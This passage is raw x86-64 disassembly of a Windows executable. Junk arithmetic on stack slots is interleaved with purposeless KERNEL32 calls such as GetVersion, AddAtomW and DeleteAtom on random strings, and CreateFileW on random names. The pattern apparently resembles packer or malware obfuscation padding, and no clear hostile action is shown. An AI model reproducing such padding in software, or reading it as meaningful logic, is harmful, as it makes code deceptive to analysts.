mov rcx, qword [rsp + 0x13418]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa90c], eax
mov rax, qword [rsp + 0x13588]
mov eax, dword [rax]
mov ecx, dword [0x14035cbf0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x96a4], eax
lea rax, [rsp + 0x6bd]
mov qword [0x140363a08], rax
movsx eax, word [rsp + 0x1784]
mov rcx, qword [rsp + 0x13428]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x197c], ax
movzx eax, word [0x140362b9c]
mov word [rsp + 0x29e4], ax
lea rdx, [rsp + 0x45b28]
mov rcx, qword [rsp + 0x13520]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa8b8], eax
mov rax, qword [rsp + 0x13318]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13440]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0x13248]
mov rcx, qword [rsp + 0x13370]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8f8], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov dword [rsp + 0xa97c], eax
mov rax, qword [rsp + 0x133c8]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa8c8], eax
lea rax, [rsp + 0xa81c]
mov qword [rsp + 0x135d8], rax
mov rax, qword [rsp + 0x132d0]
mov ecx, dword [0x14035cbf0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13328]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7c8], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13208]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x19f8], ax
lea rax, [rsp + 0x6b1]
mov qword [0x140363a10], rax
mov rax, qword [rsp + 0x132a8]
mov eax, dword [rax]
mov ecx, dword [0x14035cbd8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13438]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa900]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132e0]
mov eax, dword [rax]
mov dword [rsp + 0xa980], eax
mov rax, qword [0x140363968]
mov ecx, dword [rsp + 0xa278]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa78c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x135e0], rax
lea rax, [rsp + 0x29e4]
mov qword [rsp + 0x135e8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8f4], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13518]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13430]
mov byte [rcx], al
movsx eax, word [rsp + 0x29c4]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x130e8]
mov word [rcx], ax
lea rax, [rsp + 0x6b6]
mov qword [rsp + 0x135f0], rax
mov rax, qword [rsp + 0x13450]
mov eax, dword [rax]
mov dword [0x140363a18], eax
mov eax, dword [rsp + 0xa930]
movzx ecx, al
mov eax, dword [rsp + 0x8178]
sar eax, cl
mov dword [rsp + 0x765c], eax
lea rax, [rsp + 0x251c]
mov qword [rsp + 0x135f8], rax
mov rax, qword [rsp + 0x13518]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6be], al
mov eax, dword [rsp + 0x81a0]
mov ecx, dword [0x14035cbe8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13508]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x29ac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29d4], ax
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x135c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6304], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13600], rax
mov rax, qword [0x140363a00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa930], eax
lea rax, [rsp + 0x6554]
mov qword [rsp + 0x13608], rax
mov rax, qword [rsp + 0x13368]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134f0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13568]
mov byte [rcx], al
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [0x14035cbe0]
sub eax, ecx
mov rcx, qword [0x140363988]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa964], eax
mov rax, qword [rsp + 0x131b0]
mov ecx, dword [rsp + 0xa944]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa8b0], eax
mov eax, dword [rsp + 0xa810]
mov dword [rsp + 0xa984], eax
lea rcx, [rsp + 0x41b08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x133f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa884], eax
lea rax, [rsp + 0xa894]
mov qword [rsp + 0x13610], rax
mov rax, qword [rsp + 0x13538]
mov ecx, dword [rsp + 0xa884]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x132e0]
mov dword [rcx], eax
lea rax, [rsp + 0x29c4]
mov qword [rsp + 0x13618], rax
movsx eax, byte [rsp + 0x6b6]
mov rcx, qword [rsp + 0x13390]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6bd], al
mov rax, qword [rsp + 0x13598]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13368]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13518]
mov byte [rcx], al
movzx eax, word [rsp + 0x29c8]
movzx ecx, word [rsp + 0x2888]
shl eax, cl
mov rcx, qword [0x1403639e0]
mov word [rcx], ax
lea rax, [rsp + 0xa8ac]
mov qword [rsp + 0x13620], rax
mov rax, qword [rsp + 0x12f48]
mov ecx, dword [rsp + 0xa868]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13490]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x29d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2984], ax
mov rax, qword [0x1403639f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13548]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x68e], al
movzx eax, word [rsp + 0x2484]
mov rcx, qword [rsp + 0x13420]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13500]
mov word [rcx], ax
mov eax, dword [rsp + 0xa398]
mov ecx, dword [rsp + 0xa90c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13450]
mov eax, dword [rax]
mov dword [rsp + 0xa988], eax
mov rax, qword [rsp + 0x132d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa850]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d94], eax
mov rax, qword [0x140363a00]
mov eax, dword [rax]
mov dword [rsp + 0xa98c], eax
lea rcx, str.ldq.GUG
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x29e8], ax
mov rax, qword [rsp + 0x134d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14035cbf4], ax
mov rax, qword [rsp + 0x134b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x23c]
sub eax, ecx
mov byte [rsp + 0x22a], al
mov rax, qword [0x140363968]
mov ecx, dword [rsp + 0xa97c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13248]
mov dword [rcx], eax
lea rax, [rsp + 0xa904]
mov qword [rsp + 0x13628], rax
mov rax, qword [rsp + 0x13560]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x134f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x40c], al
movsx eax, word [0x140353b08]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2474], ax
mov rax, qword [rsp + 0x13240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1088]
sub eax, ecx
mov rcx, qword [rsp + 0x13420]
mov word [rcx], ax
lea rax, [rsp + 0x6be]
mov qword [rsp + 0x13630], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa964], eax
mov eax, dword [rsp + 0xa8e4]
mov ecx, dword [0x140363a18]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13488]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa974]
mov ecx, dword [rsp + 0xa774]
add ecx, eax
mov eax, ecx
mov dword [0x1403639bc], eax
mov eax, dword [rsp + 0xa978]
mov rcx, qword [0x1403639d8]
mov qword [rsp + 0x13638], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13638]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
lea rax, [rsp + 0xa7dc]
mov qword [rsp + 0x13640], rax
mov rax, qword [rsp + 0x133f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x132e0]
mov qword [rsp + 0x13648], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13648]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x132e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
mov word [rsp + 0x29ec], ax
mov rax, qword [rsp + 0x134c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4bc]
xor eax, ecx
mov rcx, qword [rsp + 0x13518]
mov byte [rcx], al
mov rax, qword [rsp + 0x13628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa91c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13258]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa954]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x99e8], eax
mov rax, qword [rsp + 0x133d0]
mov rcx, qword [rsp + 0x13628]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa398], eax
mov eax, dword [rsp + 0xa96c]
mov dword [0x140363a1c], eax
lea rax, [rsp + 0x4bc]
mov qword [rsp + 0x13650], rax
movzx eax, word [rsp + 0x29d0]
movzx ecx, word [rsp + 0x29c8]
sub eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x135b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x135b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x43e]
mov byte [rsp + 0x6bf], al
mov rax, qword [rsp + 0x13370]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8cc], eax
lea rax, [rsp + 0xa8e8]
mov qword [rsp + 0x13658], rax
mov rax, qword [0x1403639e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29ec]
add eax, ecx
mov word [rsp + 0x2484], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x133e0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13440]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [rsp + 0x13370]
mov eax, dword [rax]
mov dword [0x140363a20], eax
lea rax, [0x14035cbf0]
mov qword [rsp + 0x13660], rax
mov rax, qword [rsp + 0x13508]
mov ecx, dword [rsp + 0xa884]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7200], eax
lea rax, [rsp + 0xa97c]
mov qword [rsp + 0x13668], rax
mov rax, qword [rsp + 0x13240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2888]
add eax, ecx
mov rcx, qword [rsp + 0x134d8]
mov word [rcx], ax
lea rax, [rsp + 0x256]
mov qword [rsp + 0x13670], rax
mov eax, dword [rsp + 0xa908]
movzx ecx, al
mov eax, dword [rsp + 0x9e84]
shl eax, cl
mov rcx, qword [rsp + 0x134a8]
mov dword [rcx], eax
mov eax, dword [0x1403639bc]
movzx ecx, al
mov eax, dword [rsp + 0x81a0]
sar eax, cl
mov rcx, qword [rsp + 0x13498]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6304]
mov dword [rsp + 0xa990], eax
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0x73a0]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14035cbf8], eax
mov eax, dword [rsp + 0x8178]
mov ecx, dword [rsp + 0x7c34]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13498]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2990]
movsx ecx, word [rsp + 0x197c]
sub eax, ecx
mov word [rsp + 0x235c], ax
movsx eax, byte [rsp + 0x5fd]
mov rcx, qword [0x1403639b0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6b0], al
movzx eax, word [rsp + 0x29b8]
mov rcx, qword [rsp + 0x132f0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13448]
mov word [rcx], ax
lea rax, [rsp + 0x6b8]
mov qword [rsp + 0x13678], rax
mov rax, qword [rsp + 0x13320]
mov rcx, qword [0x140363950]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13330]
mov dword [rcx], eax
lea rax, [rsp + 0xa930]
mov qword [rsp + 0x13680], rax
mov rax, qword [rsp + 0x13500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29ec]
sub eax, ecx
mov rcx, qword [rsp + 0x135e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13368]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
mov byte [0x14035e48e], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8f4], eax
mov eax, dword [rsp + 0xa7dc]
mov ecx, dword [rsp + 0x9e54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa988], eax
lea rax, [rsp + 0xa98c]
mov qword [rsp + 0x13688], rax
mov rax, qword [0x140363a00]
mov ecx, dword [rsp + 0xa98c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x132e0]
mov dword [rcx], eax
lea rax, [rsp + 0xa960]
mov qword [rsp + 0x13690], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa994], eax
mov rax, qword [rsp + 0x13400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13208]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x29b8], ax
lea rax, [0x14035e4a4]
mov qword [rsp + 0x13698], rax
mov rax, qword [rsp + 0x13258]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa8c0], eax
lea rcx, [rsp + 0x41a78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x13258]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13628]
mov dword [rcx], eax
lea rax, [rsp + 0x235c]
mov qword [0x140363a28], rax
lea rax, [rsp + 0x6bf]
mov qword [rsp + 0x136a0], rax
mov rax, qword [rsp + 0x13468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13568]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13458]
mov byte [rcx], al
movzx eax, word [rsp + 0x29c8]
mov word [rsp + 0x29f0], ax
mov eax, dword [rsp + 0xa970]
movzx ecx, al
mov eax, dword [rsp + 0xa8b0]
shr eax, cl
mov rcx, qword [rsp + 0x13280]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6b80]
mov ecx, dword [rsp + 0xa954]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13280]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132d0]
mov ecx, dword [rsp + 0xa7d8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa350], eax
mov eax, dword [rsp + 0xa8c8]
mov ecx, dword [rsp + 0xa95c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13550]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12f28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0xa904]
mov dword [rsp + 0xa998], eax
movzx eax, word [rsp + 0x299c]
movzx ecx, word [rsp + 0x29c0]
or eax, ecx
mov rcx, qword [rsp + 0x13400]
mov word [rcx], ax
movzx eax, byte [rsp + 0x51b]
mov byte [0x14035e4a6], al
mov rax, qword [rsp + 0x13290]
mov ecx, dword [rsp + 0x99e8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa988], eax
lea rax, [rsp + 0xa7d4]
mov qword [rsp + 0x136a8], rax
lea rdx, [rsp + 0x45c08]
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa940], eax
mov rax, qword [rsp + 0x133f8]
mov ecx, dword [rsp + 0xa850]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa920], eax
lea rax, [rsp + 0xa990]
mov qword [rsp + 0x136b0], rax
movzx eax, byte [rsp + 0x22a]
movzx ecx, byte [0x140353573]
add eax, ecx
mov byte [rsp + 0x4bc], al
mov rax, qword [rsp + 0x135d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x135d0]
mov word [rcx], ax
lea rax, [rsp + 0x6b0]
mov qword [rsp + 0x136b8], rax
movsx eax, word [0x140353b08]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x235c], ax
mov r9d, 1
lea r8, [rsp + 0x133a8]
mov rdx, qword [rsp + 0x13058]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa8f0], eax
mov rax, qword [rsp + 0x13620]
mov rcx, qword [rsp + 0x13350]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140363a20], eax
mov eax, dword [rsp + 0x81a0]
mov dword [rsp + 0xa99c], eax
movzx eax, word [rsp + 0x2888]
movzx ecx, word [rsp + 0x29ec]
sub eax, ecx
mov rcx, qword [rsp + 0x13500]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb4], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.5GX_sPiShn07bBXb
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x136c0], rax
mov rax, qword [rsp + 0x13510]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7d8]
shl eax, cl
mov dword [rsp + 0xa8dc], eax
mov eax, dword [rsp + 0xa8a0]
mov ecx, dword [rsp + 0x6b80]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132c0]
mov dword [rcx], eax
lea rax, [rsp + 0x8604]
mov qword [rsp + 0x136c8], rax
mov eax, dword [0x14035cbf0]
mov rcx, qword [rsp + 0x133c8]
mov qword [rsp + 0x136d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x136d0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x68e]
mov byte [rsp + 0x6c0], al
lea rax, [rsp + 0x1778]
mov qword [0x140363a30], rax
mov eax, dword [rsp + 0xa8cc]
mov ecx, dword [rsp + 0xa87c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6768], eax
mov rax, qword [rsp + 0x13578]
mov eax, dword [rax]
mov ecx, dword [0x14035cbf8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x99e4], eax
mov rax, qword [rsp + 0x13658]
mov rcx, qword [rsp + 0x13020]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8398], eax
mov rax, qword [0x1403639d8]
mov rcx, qword [rsp + 0x132d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13658]
mov dword [rcx], eax
lea rax, [rsp + 0xa8c8]
mov qword [rsp + 0x136d8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8f4], eax
mov rax, qword [rsp + 0x13250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x134f8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x136a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x131b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
sub eax, ecx
mov rcx, qword [rsp + 0x135b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x65d]
mov byte [rsp + 0x6c1], al
mov r9d, 1
lea r8, [rsp + 0x13058]
mov rdx, qword [rsp + 0x13058]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa92c], eax
movzx eax, word [rsp + 0x29a8]
mov rcx, qword [rsp + 0x132b0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140363a30]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a0], eax
mov rax, qword [0x140363978]
mov rcx, qword [rsp + 0x134c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa970], eax
mov rax, qword [rsp + 0x132a8]
mov eax, dword [rax]
mov dword [rsp + 0xa9a4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x134d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e64], ax
movzx eax, byte [0x14035e48e]
movzx ecx, byte [rsp + 0x51b]
add eax, ecx
mov byte [rsp + 0x256], al
lea rax, [rsp + 0xa908]
mov qword [rsp + 0x136e0], rax
mov eax, dword [rsp + 0xa8b0]
mov dword [rsp + 0xa868], eax
lea rdx, [rsp + 0x45b60]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa92c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a8], eax
mov eax, dword [rsp + 0xa974]
mov ecx, dword [rsp + 0xa96c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b30], eax
mov eax, dword [rsp + 0xa810]
movzx ecx, al
mov eax, dword [rsp + 0xa914]
sar eax, cl
mov dword [rsp + 0xa95c], eax
mov rax, qword [rsp + 0x135e8]
movzx eax, word [rax]
mov rcx, qword [0x140363958]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14035cbfc], ax
lea rax, [rsp + 0x65d]
mov qword [rsp + 0x136e8], rax
lea rdx, [rsp + 0x12f98]
mov rcx, qword [rsp + 0x13018]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa7b8], eax
mov dword [rsp + 0x20], 0x6a3
mov r9d, 0xf13
mov r8d, 0x3e3
mov edx, 0x26be
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa9ac], eax
mov eax, dword [rsp + 0xa960]
mov ecx, dword [rsp + 0x64f0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x13610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d94]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x130e8]
movzx eax, word [rax]
mov word [rsp + 0x29f4], ax
movsx eax, byte [rsp + 0x1f6]
movsx ecx, byte [rsp + 0x628]
sub eax, ecx
mov byte [rsp + 0x40c], al
lea rdx, [rsp + 0x45c08]
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa958], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa870], eax
mov rax, qword [rsp + 0x13430]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b3]
sub eax, ecx
mov byte [rsp + 0x11c], al
movzx eax, word [rsp + 0x29d0]
mov rcx, qword [rsp + 0x135f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13470]
mov rcx, qword [0x140363978]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x136b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa930]
mov ecx, dword [rsp + 0x710c]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x1403639d0]
mov dword [rcx], eax
lea rax, [rsp + 0x9a80]
mov qword [rsp + 0x136f0], rax
mov rax, qword [rsp + 0x13668]
mov rcx, qword [rsp + 0x133b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13280]
mov dword [rcx], eax
lea rax, [rsp + 0xa950]
mov qword [rsp + 0x136f8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.i6O9BgVG3wy
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13700], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa924], eax
mov rax, qword [rsp + 0x134f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13440]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x65d], al
movzx eax, word [rsp + 0x29c0]
movzx ecx, word [0x14035cbec]
and eax, ecx
mov word [rsp + 0x29b8], ax
mov rax, qword [rsp + 0x13660]
mov eax, dword [rax]
mov dword [rsp + 0xa9b0], eax
mov rax, qword [rsp + 0x133d8]
mov rcx, qword [rsp + 0x13640]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13408]
mov dword [rcx], eax
mov eax, dword [0x14035cbe8]
mov ecx, dword [rsp + 0x710c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa184], eax
mov r9d, 0x1060
xor r8d, r8d
lea rdx, [rsp + 0x13298]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa7c8], eax
mov rax, qword [rsp + 0x13658]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13588]
mov qword [rsp + 0x13708], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13708]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1403639bc], eax
mov rax, qword [rsp + 0x13410]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134c8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13318]
mov byte [rcx], al
lea rcx, [rsp + 0x41b38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x134d8]
movzx eax, word [rax]
mov word [rsp + 0x29f8], ax
movsx eax, word [rsp + 0x235c]
movsx ecx, word [rsp + 0x1784]
or eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6bb]
movsx ecx, byte [rsp + 0x6ba]
and eax, ecx
mov byte [rsp + 0x628], al
lea rax, [rsp + 0xa278]
mov qword [rsp + 0x13710], rax
mov rax, qword [rsp + 0x136c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa900], eax
lea rax, [rsp + 0x6b1]
mov qword [rsp + 0x13718], rax
mov rax, qword [0x140363958]
